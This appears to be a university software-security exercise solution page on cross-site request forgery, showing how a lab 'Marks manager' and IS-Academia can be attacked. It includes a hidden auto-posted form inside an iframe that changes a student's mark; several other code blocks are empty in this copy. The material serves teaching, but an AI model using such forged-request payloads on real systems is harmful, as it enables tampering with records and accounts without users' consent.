

## Exercise: Cross Site Request Forgery - CSRF

### Logout of the Marks manager

- In your first file. insert the following code:

```
Hello world

```

This is not very impressive (some menus disappear) since this application does not verify that much that the user is logged in.

Unfortunately, one can see that there was a problem in this page, since the image seems broken. We have chosen to change the size: width=1, height=1.

- The mail you write (in HTML) must contain the following :

```

```

It will only work for people reading their mail inside their browser (aka Web mail).

### Change marks inside the Marks Manager

- We can create a first page :

```
contains iFrame
<iframe src="form.php">
</iframe>
```

Then the form.php page that is referred :

```
Form
<form action='https://www.benoist.ch/marksEsc/enterMarks.php'
method='POST'>
  &th;<input type='hidden' name='courseID' value='1' />
  <input type='hidden' name='student8' value='2.0'>
  <input type='submit' value='Send marks' />
</form>
```

- If the admin visits that page and clicks on the button they change the mark.

### IS-A

- To log out of IS-Accademia: insert the following code inside your page:

```

```

Test the solution: [logout.isa.html](https://www.benoist.ch/SoftSec/exercises/csrf/index.sol.php).

#### Related Pages

[Home](#)

[Slides](#)

[Exemples](#)

[Exercices](#)

[Resources](#)

#### Contact

Prof. Dr. Emmanuel Benoist  
 Berner Fachhochschule - TI  
 Quellgasse 21  
 CH-2501 Biel/Bienne  
 Switzerland  
 Mail: [emmanuel.benoist \(at\) bfh.ch](mailto:emmanuel.benoist@bfh.ch)

#### Social Networks

#### Follow me on

[Linkedin](#), [Scholar](#) & [Research gate](#)

<http://www.ti.bfh.ch/>